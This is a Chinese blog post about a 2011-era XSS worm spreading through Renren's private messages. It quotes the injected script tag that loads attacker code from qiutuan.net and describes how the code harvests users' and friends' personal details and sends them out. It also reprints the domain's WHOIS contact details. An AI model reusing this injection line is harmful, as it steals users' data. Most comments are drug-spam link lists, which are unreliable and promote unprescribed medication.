人人网遭受站内信跨站攻击,这事真有发生?

人人网在30号凌晨开始,发生一场大规模资料泄露事件. 黑客使用人人网在站内信内容过滤不严的漏洞执行了一段远程代码, 打开站内信后会自动发送自己以及好友的个人资料,同时扩散这封站内信.

今天收到三份主题为<有人暗恋你哦,你想知道TA是谁么> 的站内信,

开始以为是游戏应用的推广方式,但是打开后发现有问题 ,通过查看站内信网页源码,发现其中有一行代码<script src=’http://qiutuan.net/2011/51.js’>,它通过利用人人网的代码解析方式问题, 将本不该在文本中执行的代码执行了 .分析代码后发现其主要目的是收集用户的人人id、学校、生日、姓名、qq、msn、手机,然后通过通讯录功能,得到所有好友名片中的上述信息,然后将所有信息发送到作者的网站上.

另外在代码中关于发送站内信的函数megaboxx.submit_prehook并不是人人网本身的函数, 而是来自于facebook.

人人网最初的措施是将指向的网址设为敏感词.

凌晨3点半左右, 人人开始清理站内信. 但是这个漏洞依然存在.

这一波资料泄露到此结束.    下一波何时到来?
—————————————————————————-

黑客利用的域名qiutuan.net的注册信息

dasha, wang dasha811@gmail.com
hubeishengwuhanshi
wuhan, 518089
China
+1.18603051234 Fax –

注册地址是湖北武汉.  但是邮编显示为深圳

————————————————————————

当然看域名注册信息是没用的,黑客不是良民。不会真的信息注册或者备案。

 

已留下 157 个脚印

  1. wh0cd213559 [url=http://robaxin.us.com/]Robaxin[/url] [url=http://albuterol18.us.org/]proair albuterol sulfate online[/url] [url=http://acyclovir2018.us.com/]buy aciclovir[/url]

  2. wh0cd213559 [url=http://buyviagrasoft.us.com/]more bonuses[/url]

  3. wh0cd213559 [url=http://clonidine.us.org/]Buy Clonidine[/url] [url=http://sildalis.us.com/]sildalis[/url] [url=http://augmentin.us.com/]augmentin[/url] [url=http://buycolchicine.us.com/]read full report[/url]

  4. I really can’t believe how great this site is. Keep up the good work. I’m going to tell all my friends about this place.

  5. wh0cd213559 [url=http://sildalis.us.com/]sildalis without a prescription[/url] [url=http://buymethotrexate.us.com/]Methotrexate Price[/url]

  6. wh0cd213559 [url=http://buycialis.us.org/]order cialis[/url] [url=http://cymbalta.us.com/]Buy duloxetine[/url] [url=http://buyseroquel.us.com/]seroquel generic[/url] [url=http://allopurinolbestprice.us.com/]allopurinol[/url] [url=http://avodart.us.com/]generic avodart online[/url]

  7. wh0cd213559 [url=http://sildenafil.ninja/]order sildenafil online[/url] [url=http://amitriptylinehydrochloride.shop/]amitriptyline[/url] [url=http://prednisolone.ninja/]buy prednisolone 5mg without prescription uk[/url] [url=http://lexapro.promo/]lexapro[/url] [url=http://retinacream.store/]retin a cream[/url] [url=http://ventolin.video/]ventolin[/url] [url=http://metformin.band/]metformin 500mg[/url] [url=http://valtrex.pub/]valtrex[/url] [url=http://cephalexin.rocks/]cephalexin[/url] [url=http://prednisolone.college/]prednisolone[/url] [url=http://paxil.doctor/]paxil[/url]

  8. Hi you have a very easy to follow site It was very easy to post easy to understand

  9. Hi you have a greate site Thank you for sharing with us good job

留下足迹

网站地图